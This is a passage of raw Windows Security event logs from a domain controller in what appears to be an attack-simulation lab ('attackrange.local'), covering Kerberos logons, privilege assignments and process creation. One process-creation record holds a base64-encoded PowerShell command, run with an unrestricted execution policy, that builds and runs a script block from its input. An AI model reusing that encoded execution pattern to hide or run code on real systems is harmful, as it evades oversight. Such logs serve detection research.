Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250853
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11AD5B

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1208
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x244
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\ADMINI~1\AppData\Local\Temp\RESD137.tmp" "c:\Users\Administrator\AppData\Local\Temp\CSCD2427266AE8640D4B798B59B1D62E094.TMP"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250852
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11AD5B

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x244
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x12b8
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\ADMINI~1\AppData\Local\Temp\3ug2stnp.cmdline"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250851
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11E480

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250850
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x11E480
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		64484

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250849
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11E480

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250848
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11E41F

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250847
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x11E41F
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		64483

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250846
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11E41F

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250845
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11E3B9

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250844
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x11E3B9
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		64482

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250843
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11E3B9

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=250842
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11E358

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:49:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250841
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x11E358
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		64481

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250840
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11E358

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:49:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250839
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11DFCA

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250838
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11DFCA
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{5867120E-39DD-05A1-1C4A-40C40912B983}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250837
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{5867120E-39DD-05A1-1C4A-40C40912B983}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:49:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=250836
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{5867120E-39DD-05A1-1C4A-40C40912B983}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:49:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=250835
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:49:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250834
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11AD5B

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xd7c
	New Process Name:	C:\Windows\System32\chcp.com
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x12b8
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\system32\chcp.com" 65001

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:33 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=250833
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x11AD5B

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12b8
	New Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x10a4
	Creator Process Name:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
	Process Command Line:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand JgBjAGgAYwBwAC4AYwBvAG0AIAA2ADUAMAAwADEAIAA+ACAAJABuAHUAbABsAAoAJABlAHgAZQBjAF8AdwByAGEAcABwAGUAcgBfAHMAdAByACAAPQAgACQAaQBuAHAAdQB0ACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcACgAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAgAD0AIAAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAF8AcwB0AHIALgBTAHAAbABpAHQAKABAACgAIgBgADAAYAAwAGAAMABgADAAIgApACwAIAAyACwAIABbAFMAdAByAGkAbgBnAFMAcABsAGkAdABPAHAAdABpAG8AbgBzAF0AOgA6AFIAZQBtAG8AdgBlAEUAbQBwAHQAeQBFAG4AdAByAGkAZQBzACkACgBJAGYAIAAoAC0AbgBvAHQAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwAuAEwAZQBuAGcAdABoACAALQBlAHEAIAAyACkAIAB7ACAAdABoAHIAbwB3ACAAIgBpAG4AdgBhAGwAaQBkACAAcABhAHkAbABvAGEAZAAiACAAfQAKAFMAZQB0AC0AVgBhAHIAaQBhAGIAbABlACAALQBOAGEAbQBlACAAagBzAG8AbgBfAHIAYQB3ACAALQBWAGEAbAB1AGUAIAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADEAXQAKACQAZQB4AGUAYwBfAHcAcgBhAHAAcABlAHIAIAA9ACAAWwBTAGMAcgBpAHAAdABCAGwAbwBjAGsAXQA6ADoAQwByAGUAYQB0AGUAKAAkAHMAcABsAGkAdABfAHAAYQByAHQAcwBbADAAXQApAAoAJgAkAGUAeABlAGMAXwB3AHIAYQBwAHAAZQByAA==

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:49:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=250925
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12138E

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:49:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250924
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x12138E
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{C1364971-5253-FA23-02F8-6A277941FDBB}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:49:34 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=250923
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
